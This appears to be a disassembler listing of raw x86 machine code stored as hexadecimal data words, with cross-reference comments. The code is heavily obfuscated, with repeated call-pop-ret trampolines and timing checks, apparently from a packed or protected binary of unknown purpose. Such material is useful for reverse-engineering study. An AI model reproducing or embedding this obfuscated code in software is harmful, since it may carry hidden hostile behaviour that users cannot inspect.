		dd 81666480h, 6A5EADDBh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0FA85C353h,	69BC3D95h
		dd 0C1DE8160h, 0F91FC73Dh, 71BD8361h, 62C20h, 4A840Fh
		dd 0BD030000h, 62C236Dh, 0B8h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 8137E2B4h
		dd 0B194851h, 0B509DD81h, 62C2391h, 4F518D8Dh, 9D8B062Ch
		dd 62C1545h, 9D8BE1FFh,	62C22E1h, 29C1BD83h, 0F00062Ch
		dd 47384h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1B04h, 0C3504000h, 8A7766ECh, 7307999Ah, 1B518D01h
		dd 0BD83062Ch, 62C29C1h, 58840F01h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0AD20C357h, 0A83A8465h, 0E1A9265Fh, 0BF66F98Bh, 0BD831AF4h
		dd 62C29C1h, 0EA860F03h, 6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0FA18C352h
		dd 6A60F3AAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 4011C355h, 0A7ADBA15h,	5AF38149h
		dd 6635B2E8h, 12E8D98Ch, 40000000h, 517F2E21h, 29DB313Eh
		dd 0CA151033h, 7A47DBD7h, 0AD9D8BE0h, 5B062C2Dh, 6604E180h
		dd 0C90AD88Bh, 0E7840Fh, 0FE90000h, 92000000h, 5D434BDCh
		dd 362178F7h, 311FD1CCh, 858BABCAh, 62C1DF1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 17C35040h, 3315AA6Ch
		dd 2C0B3185h, 0D88B6606h, 0A181BF90h, 0BB5068DBh, 1F82955h
		dd 919D8B90h, 66062C15h, 6A7D99BFh, 31DD6800h, 8B6082FAh
		dd 2800FF2h, 8B000000h,	48161CBh, 24D22224h, 53006A7Dh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 8A1347EAh, 7E8h, 2B665800h, 32094700h, 0BE86BB66h, 6595FF5Fh
		dd 8A062C34h, 8860FFEh,	57000000h, 2B858589h, 895F062Ch
		dd 2FB02085h, 0D98B6606h, 225E9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0E780DCDDh
		dd 18858B26h, 6A062FB0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 1D4BC352h, 41274C56h
		dd 1800C7B8h, 8B000000h, 2FB01CB5h, 0E5BF6606h,	55858B45h
		dd 6A062C0Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 48B7C350h, 6A06898Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0AFF8C355h, 63DB4349h, 60577BF9h, 5C1BD89h, 0BF0F062Ch
		dd 0E95B61F2h, 5, 82C1BE20h, 0F1858B27h, 56062C1Dh, 6758589h
		dd 895B062Ch, 6A0446h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0C2EF7CC3h, 404F3C7Ch, 0CE863h
		dd 53720000h, 5B75743Ch, 5CEFF6FCh, 9D8BAAC4h, 62C1D99h
		dd 7DB815Bh, 506FCD1Ch,	3489FA8Bh, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0E0B65CE1h
		dd 12E8h, 3D16800h, 9D8BBE8Ah, 9FB5EE7h, 1FC4EF6Eh, 0F0FB28Ah
		dd 665FFEBFh, 22CAF381h, 0B018B5FFh, 0DB81062Fh, 51876C9Ch
		dd 0FCC38166h, 299968E4h, 8B0FB070h, 1Ah, 0EE8h, 0FBC93400h
		dd 930BC392h, 62BA485Ch, 0F2B8AFEh, 8Bh, 4815B00h, 0AEDA6624h
		dd 57006A4Fh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0D650AD6Dh, 64578BA8h, 3840Fh, 0DB800000h
		dd 20858DFBh, 6A062FB0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0EDBBC353h,	5B3C8876h
		dd 4DD9D8Bh, 5150062Ch,	6E9h, 0E2F3B600h, 5F8F934Ch, 9240489h
		dd 2C0A5995h, 8EF78106h, 0FF6792B0h, 2C346595h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 6A61F50Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 392FC355h, 8288F25h, 94CC8B7Fh
		dd 68F0Fh, 0BD8B0000h, 62C29DDh, 120DBD8Bh, 85C7062Ch
		dd 62C29C1h, 3,	5CECBB66h, 0B020BD83h, 0F00062Fh, 3484h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0F3C6F7EBh, 29E9F872h, 52000000h, 68F0Fh
		dd 0BD290000h, 62C2C4Dh, 0C30505Bh, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 11BBD88Bh, 51107837h, 5E9h
		dd 0A6AD1300h, 835B81BDh, 2C29C1BDh, 850F0306h,	3E5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 1AC35646h, 0B357FB2h
		dd 0B020BD83h, 0F00062Fh, 3B884h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 32749303h
		dd 1711A1Bh, 2C064585h,	0FFF98A06h, 2FB020B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9D8B1E9Ah, 62C22FDh,	19C995FFh, 0BD8B062Ch, 62C2901h
		dd 11199D8Bh, 0B58B062Ch, 62FB014h, 0C7DEBF0Fh
		dd 1000106h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 232D4971h, 2C0239BDh, 399D0106h
		dd 96062C02h, 28A0Fh, 0DA8A0000h, 81669650h, 0FFC87FDFh
		dd 2FB020B5h, 0FBBF0F06h, 8BD95FFh, 6E8062Ch, 0B7000000h
		dd 0D86204C7h, 5BDF8B89h, 58D0150h, 5B062C23h, 0B014B58Bh
		dd 8589062Fh, 62C00F1h,	23B1858Bh, 9D8B062Ch, 62C2C09h
		dd 0C48689h, 8BF80000h,	2C2BA595h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 58742186h
		dd 0B9D08DA8h, 13E9EBC1h, 4A000000h, 0BFE176D4h, 0A397B143h
		dd 0A3B296F2h, 1F3959DFh, 0C28391E9h, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0F33EF33h, 682h, 99BD8900h, 89062C0Dh, 0BDBF2050h, 0E81C9AADh
		dd 12h,	0D807A8B2h, 68B5F0F4h, 0E82D3F89h, 9F7580E0h, 0BD8B6582h
		dd 62C2C39h, 64858D5Bh
dword_544450	dd 8B062FC5h, 2C07A5BDh, 0B8868906h, 6A000000h,	3E85700h
					; DATA XREF: ___:off_43BFBCo
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 1310C357h, 0C2886CBDh, 3C3924CFh, 89F9B70Fh,	2C0D25BDh
		dd 0E8006A06h, 0Dh, 60D8E3F6h, 0AFFB2481h, 0B05F22B2h
		dd 0F5E7816Fh, 5F5D1C08h, 0B020B5FFh, 6A062Fh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0FFE47AC3h, 2C058995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 873FE3ABh
		dd 997C7577h, 234D8531h, 0B589062Ch, 62C1B79h, 6A965096h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 61DEC352h, 3BE57345h, 0FF13BF66h,	0B020B5FFh
		dd 6A062Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 5592EDC3h, 502827FDh, 0BD8B539Bh,	62C32A1h
		dd 0D995FF5Bh, 0FC062C11h, 7E8h, 0F25A2500h, 0D5F819C7h
		dd 835FDBB3h, 2C07B5BDh, 840F0006h, 2Fh, 0BECDEF81h, 0F5026CBh
		dd 198Dh, 0E8525000h, 0Ah, 82598655h, 0B5C3E4CFh, 0F5F7CB9h
		dd 0DF8B6631h, 3489585Ah, 59850924h, 0FF062C04h, 2FB020B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 2995FFC7h, 8B062C15h, 2C14199Dh,	8F0F06h
		dd 0FF000000h, 2FB020B5h, 0CA56BF06h, 95FF662Bh, 62C0479h
		dd 0C81BD89h, 0BD83062Ch, 62C1535h, 5D840F02h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 9192C351h, 0FF1AC381h, 858B6C6Bh,	62C0189h
		dd 7E9h, 0E05ECA00h, 0AAD1D1E6h, 33F5B589h, 0C6062Ch, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 250A7167h, 166185C7h, 62Ch, 0E8510000h, 5, 678F2A67h
		dd 51BD89B3h, 5B062C27h, 0F3BDE95Bh, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 4D732DC3h
		dd 0FCE5DA61h, 858DC18Bh, 62C32A5h, 6810Fh, 8D290000h
		dd 62C0E71h, 12E890h, 959C0000h, 4F1A31CFh, 0E75B76BEh
		dd 0F4BBC2FCh, 7528F235h, 5250505Fh, 972BBB66h,	5250310Fh
		dd 10E8h, 2648D800h, 773F93FCh,	63F9BB9Dh, 0DDB4EC57h
		dd 310F5F43h, 585AD88Bh, 6A90585Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C7AFC353h
		dd 0F97410CCh, 71858936h, 8B062C2Dh, 2C1559BDh,	6A006A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 6A4BC356h, 61858900h, 8D062C24h, 30ADD085h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 8A8F1724h, 37766282h, 6A05C083h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0C6B8C357h, 0F7A205AEh, 995AB2F7h, 0BB666050h, 0B8668197h
		dd 8961F269h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 7C3335C3h, 0BCC6E63Fh, 0D9BD2B28h
		dd 6A062C1Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0DD55F2B0h, 12860FBAh, 0E9000000h
		dd 0Dh,	0A0AA89CDh, 9F7AF4CAh, 4C2A5271h, 8A006ADBh, 9D95FFF9h
		dd 66062C23h, 0CD67CF81h, 0A0428D8Dh, 8151062Fh, 0D514D3C3h
		dd 9D8B5B20h, 62C0A25h,	0BD8BD1FFh, 62C1A31h, 99AE98BFh
		dd 0A1BD8366h, 1062C09h, 0A0850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8BC2C2C3h
		dd 2C11DD9Dh, 6A026A06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 814EC350h, 880FD50Ah
		dd 6, 25D1BD0Bh, 0FE9062Ch, 77000000h, 0C7C3EEh, 5B2631C3h
		dd 0D1F9E977h, 8B90C902h, 0BF6650F8h, 6A90754Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0FC44C356h, 16043B89h, 8995FF3Eh, 0F062C05h,	58Dh, 0C7816600h
		dd 85E9232Ch, 0E800000Fh, 0
		dd 0DAED815Dh, 6A0630ADh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 11F4C352h, 64C8FDBCh
		dd 230FE68h, 810Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 768C7EC3h, 0BBD4029h
		dd 15BD23h, 830F062Ch, 6, 21B18D89h, 858D062Ch,	62F9AD3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 69C35040h
		dd 618DCB97h, 8BDA8B9Ah, 5B5650D8h, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 8CE1C350h, 44966C43h, 8166939Ah, 0F6B36CBh, 0FF64F9B7h
		dd 35h,	9DBD3300h, 64062C32h, 2589h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8A76DFC3h
		dd 0C2DB3453h, 85FF6630h, 62C1A69h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 23C35242h, 9643EEF7h, 0C678281h
		dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 2BE260C3h, 245FF62Ch, 0C7816649h,	0B5FFC9F0h
		dd 62C2C81h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	73C35747h, 0D6E7A5BFh, 0D9B58945h, 0FF062C00h
		dd 2C04C595h, 13FE906h,	81660000h, 0B07077C3h, 8FDFBB00h
		dd 70E661D9h, 21A19D8Bh, 71E4062Ch, 0EE8h, 590FF300h, 0A508BE89h
		dd 388B5B1Ah, 81B872BAh, 748DECC7h, 613C5B0Dh, 107830Fh
		dd 0BF0F0000h, 0C8B60FF9h, 38E0Fh, 0CF800000h, 6BA84h
		dd 9D890000h, 62C2255h,	1D4D9D89h, 0C18B062Ch, 0FE10DB81h
		dd 0DB812EFCh, 74E7AD8Ah, 8B04E8C1h, 2C08C99Dh,	0E2F76606h
		dd 6D99509h, 0C82B062Ch, 0FEBF6656h, 0D18B5B66h, 0E9D9BF0Fh
		dd 6, 24419589h, 858B062Ch, 62C1A15h, 0DD858B60h, 8B062C24h
		dd 0BD0961C6h, 62C1641h, 6607C083h, 920FD381h, 8E9h, 0A2D7BB00h
		dd 0E76833E1h, 0C08363h, 8C0Fh,	60600000h, 31619503h, 8C0F062Ch
		dd 0
		dd 11E961h, 0DF500000h,	0AEA67CECh, 0A9BD3E25h,	275166AEh
		dd 6184BF0Ch, 830FD03Bh, 11h, 0E9DA8B66h, 45h, 2399BD8Bh
		dd 0E380062Ch, 498D8BFBh, 80062C1Ah, 0E183D9EFh, 2A840F01h
		dd 89000000h, 2C2A5DB5h, 49A58306h, 0FE062C1Ah,	1BCD9531h
		dd 8D01062Ch, 62C0061h,	1A159589h, 8529062Ch, 62C04A9h
		dd 0E9h, 94B58D00h, 0F06300Ch, 1486h, 8E800h, 3D780000h
		dd 436134E1h, 9D890B73h, 62C05B5h, 6A006A5Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 2C93C353h, 1ABDC99Eh, 9D8BFA83h, 62C2291h, 678CEB81h
		dd 95FF5851h, 62C26B1h,	121B589h, 44B9062Ch, 83000008h
		dd 0BD8BFCE1h, 62C10E5h, 4D9D89FCh, 0B8062C05h,	0
		dd 29F78166h, 0BA2Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0B7B5F9C3h, 25A9827Bh
		dd 0E8E8CE7Fh, 0Eh, 82975AB8h, 0A3867FADh, 0EA2C7F53h
		dd 81661B4Ch, 5F6FBBE7h, 336D8589h, 0F950062Ch,	0C233AD5Fh
		dd 0D003E8D1h, 7504E983h, 52006AF4h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0F2BBC015h
		dd 0BF7CC47Eh, 5ECE9363h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 55C35141h, 8277EE03h,	9D8B4BCDh, 62C1CD5h
		dd 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 87B1535Dh, 9E9EB49h, 2B000000h, 6F812D4Eh
		dd 0DC922A80h, 2BA5958Bh, 0E781062Ch, 1B5B6F21h, 12D98D8Bh
		dd 6A062Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 26B4BFC3h, 2870Fh, 78B70000h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A1710CC3h
		dd 0E885F53Fh, 6AA0BF08h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 7565C350h, 0D5BD89E2h
		dd 83062C07h, 2C2071BDh, 840F0006h, 5Dh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 57C35242h, 8AE9764Ch
		dd 0B86DC3DCh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 95C35343h
		dd 254A6968h, 8DF98B92h, 2C4F518Dh, 0F99D8B06h,	0FF062C2Ch
		dd 71BB66E1h, 0C1BD830Fh, 62C29h, 511840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 945850C3h, 0C1BD8395h, 1062C29h, 500840Fh, 9D8B0000h
		dd 62C11D5h, 29C1BD83h,	0F03062Ch, 4B786h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0FE90Dh, 0A6AC0000h,	17DE4D1Eh, 2316B3D9h, 715D6Dh
		dd 60D88A4Dh, 8BC8B70Fh, 2C2B95BDh, 6A606106h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0CECDC357h, 0AD5DF18Eh, 8C66E3C0h, 56006AD9h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0A7CBA145h, 12780CBFh, 0B99D8B55h, 80062C18h, 0BD3104E1h
		dd 62C12C1h, 0AA0E780h,	35840FC9h, 6A000001h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 66F8C355h, 1C3CC381h, 1DF1858Bh, 6A062Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h
		db 0C3h, 0FAh
word_544F42	dw 2297h		; DATA XREF: ___:off_4274E0o
		dd 157D5512h, 81BD2355h, 33062C0Ch, 2C0B3185h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 15AC5FAEh, 52BF66CEh, 8A0F5070h, 2, 489F88Bh, 5E924h
		dd 202F0000h, 6AEF4897h, 0CE900h, 9F870000h, 8536F8A4h
		dd 48FBEFABh, 66685513h, 6689F208h, 481F88Bh, 2CFB9924h
		dd 53006A76h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 305AB3DDh, 9E1166EEh, 0EE914h, 87A10000h
		dd 7AB257F9h, 8B2167ADh, 9BFACB3Eh, 22ADB589h, 95FF062Ch
		dd 62C3465h, 89FE8B66h,	2FB02085h, 0D7EB8006h, 0E9FB8B66h
		dd 2BBh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 18h,	2CC35141h, 2A5EB497h, 68C0Fh, 0EF810000h, 4AB4D8EAh
		dd 0B018858Bh, 6A062Fh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 576485C3h, 0AEFBC577h, 758D3120h
		dd 0C7062C05h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0B58B8343h, 62FB01Ch
		dd 18ED9D8Bh, 858B062Ch, 62C0C55h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 9CC35141h, 8589777Ah, 62C08A5h
		dd 89F98B66h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 4A34B445h, 8B8ED402h, 2C1DF185h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 78A2CCB9h, 0DEE71D22h, 0BD8B4B09h, 62C1C55h
		dd 6A044689h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 95A5C357h, 812A595Eh, 0BCE59ACEh
		dd 31259D23h, 0F50062Ch, 58Dh, 8B665100h, 34895FF9h, 0DCF38124h
		dd 575162DDh, 58CB8166h, 0B5FF5FF7h, 62FB018h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B0C35646h, 921A22CFh
		dd 0E82221ECh, 4, 1F03FFh, 0E850FC8Ah, 0Eh, 2318468Bh
		dd 7F63214Fh, 7417D3BCh, 8B5B56A6h, 60042444h, 0E996B866h
		dd 5C8CBF66h, 89008B61h, 58042444h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0A4C35747h,	0F16D6FA4h, 0FA428362h
		dd 12E88Ch, 0D3C00000h,	0CD55625Bh, 4559A3D4h, 34A301BBh
		dd 56CE85EBh, 20858D5Fh, 6A062FB0h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 82E6C357h
		dd 8D09D626h, 62C2B5Dh,	14E850h, 57870000h, 35593300h
		dd 0E0E1B1C5h, 27530B03h, 42C7652Eh, 5056C296h,	5A310F52h
		dd 895F5B58h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0AC71B1C3h, 9E827h, 0A97B0000h
		dd 0BE563FACh, 66EC083Fh, 5F19CFBBh, 0FF19D380h, 2C346595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 89E71EC0h, 1F4286ECh, 13E9B8h, 0C4C60000h
		dd 0FE610904h, 1AFFBA0Fh, 0F3AFA24Dh, 0C4DB0685h, 61F88AFBh
		dd 4C38BB66h, 29C185C7h, 3062Ch, 0BD8B0000h, 62C09B9h
		dd 0B020BD83h, 0F00062Fh, 2F84h, 0F3816600h, 40E90A4Ah
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0DE14C352h, 1AC215D8h,	0C9873132h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dword_545350	dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
					; DATA XREF: ___:off_43BF7Co
		dd 8AC08B00h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 9F6D4523h, 0BABDA9CAh, 359D8B85h
		dd 0F8062C1Bh, 29C1BD83h, 0F03062Ch, 4A585h, 3D9D8B00h
		dd 83062C11h, 2FB020BDh, 840F0006h, 492h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0B2C35545h, 0FFB70F56h
		dd 20B5FF5Fh, 89062FB0h, 2C04D58Dh, 0C995FF06h,	0E8062C19h
		dd 7, 0C6DBB8B0h, 13F9C1Fh, 2C016DB5h, 0B58B5F06h, 62FB014h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 71C35545h
		dd 0C7ECCB80h, 1000106h, 28F0F00h, 57000000h, 7DBB965Fh
		dd 506D6C27h, 6A9669B7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 5294C351h, 803C9F8Fh
		dd 2C858D89h, 0B5FF062Ch, 62FB020h, 9D7949BBh, 0BD95FF1Eh
		dd 6A062C08h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 5298C350h, 0E9B58960h,	61062C22h
		dd 14B58B5Bh, 6A062FB0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0E8C4C353h,	0E968C811h
		dd 6, 5841E9Fh,	9D033E50h, 62C2421h, 23B1858Bh,	8689062Ch
		dd 0C4h, 11E9h,	94C37500h, 9B098E16h, 17E383F9h, 57BF5544h
		dd 958B2028h, 62C2BA5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0D7C35646h, 9337349Fh, 1A79B589h, 0C283062Ch
		dd 61BD8B04h, 23062C1Eh, 2C0869BDh, 20508906h, 64858DF5h
		dd 6A062FC5h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 329CC355h, 69D98DD3h, 0D59D89C9h
		dd 89062C33h, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 5C881676h, 5C2F9C2Fh
		dd 2D09BD29h, 6660062Ch, 612B19BAh, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B5FFA9C3h
		dd 62FB020h, 0DDB58B60h, 66062C11h, 0B123D681h,	8995FF61h
		dd 6A062C05h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0A32BC356h, 36F75BA6h,	5F57FC4Ah
		dd 0EE9h, 0EC95E300h, 37D659F2h, 4A696895h, 665D9225h
		dd 967F1FBBh, 96FA8B50h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 10C35141h, 0C4F872FAh, 9E9F2C6h, 0E5000000h
		dd 2D26ABD6h, 6894AD29h, 0B020B5FFh, 6A062Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 226F13C3h
		dd 800FBD7Ah, 3, 8BD88B66h, 16DF81FBh, 0FF5429BCh, 2C11D995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0FCAF6546h, 83C088CAh, 2C07B5BDh, 840F0006h
		dd 57h,	5872E781h, 0E850028Eh, 14h, 3ECA620Eh, 8EA04EF4h
		dd 0E2990F33h, 0FAE14BAAh, 0FAC78DA9h, 52505250h, 585A310Fh
		dd 830F310Fh, 0
		dd 895F585Ah, 8D092434h, 62C1381h, 12E960h, 715E0000h
		dd 0B043B0C3h, 0EEC2E1C3h, 0AED6EEA0h, 47B232D5h, 0FF61D08Ah
		dd 2FB020B5h, 0F1BD2B06h, 0FF062C08h, 2C152995h, 5391BF06h
		dd 0B5FF0BB0h, 62FB020h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0B8C35646h, 2B097EB1h, 596F100Dh, 1D85BD8Bh
		dd 0BD03062Ch, 62C33A5h, 7D9246BFh, 7995FF26h, 6A062C04h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 33FBC353h, 0C59D8B6Ah, 83062C06h,	2C1535BDh
		dd 840F0206h, 79h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0E1C35242h, 89EB885Bh, 51B58960h, 61062C01h
		dd 189858Bh, 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 24DE48C3h, 9033CF81h, 0C63F55h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8B8B917Bh, 2C0B5D9Dh, 6185C706h,	62C16h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0F5D7C356h, 0E93628ADh, 0Ch, 7E837EEBh
		dd 0E7F977EBh, 0F67467BAh, 198D8B60h, 1062C1Eh,	2C2CA5BDh
		dd 0D1E96106h, 29FFFFF1h, 2C0EFDB5h, 6AC18B06h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0A51FC355h, 39F8BD87h, 0C29CD4A8h, 32A5858Dh, 6A062Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 9E79EC3h, 9D8B3992h,	62C21F5h, 8830Fh, 89520000h, 2C0D5DB5h
		dd 52905F06h, 5BDA8B66h, 0AE950h, 0C2080000h, 80BA764Fh
		dd 4DCD444Fh, 4890F90h,	66000000h, 6AAACCBBh, 9E800h, 93980000h
		dd 0B49A47BBh, 31CB0113h, 2C2C4D9Dh, 81665F06h,	6A7711CFh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
